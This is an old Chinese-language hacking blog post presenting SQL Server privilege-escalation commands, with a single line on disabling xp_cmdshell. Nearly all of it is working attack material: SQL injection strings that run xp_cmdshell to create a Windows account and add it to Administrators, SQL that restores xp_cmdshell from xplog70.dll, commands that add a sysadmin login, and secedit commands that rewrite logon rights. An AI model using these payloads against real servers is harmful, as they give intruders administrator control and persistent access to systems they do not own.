2007-01-20 13:51:32 by: h4x0r

SQL Server 提升权限相关命令及防范

Font Size: Large | Medium | Small
SQL Server 提升权限相关命令及防范

;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup administrators name /add"--

程序代码开启cmdshell的SQL语句

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK

恢复xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK

否则上传xplog7.0.dll
Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'

堵上cmdshell的SQL语句
sp_dropextendedproc "xp_cmdshell"

DOS:
dir c:/
dir d:/
dir e:/

net user TsInternetUsers Password /add
net localGroup Administrators TsInternetUsers /add

备份恢复IPSEC

secedit /export /CFG c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf

SQL:
exec master..sp_addlogin UserName,Password
exec master..sp_addsrvrolemember UserName,sysadmin
Comments Feed Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=806

There is no comment on this article.

Post Comment
Smilies
[smile] [confused] [cool] [cry]
[eek] [angry] [wink] [sweat]
[lol] [stun] [razz] [redface]
[rolleyes] [sad] [yes] [no]
[heart] [star] [music] [idea]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code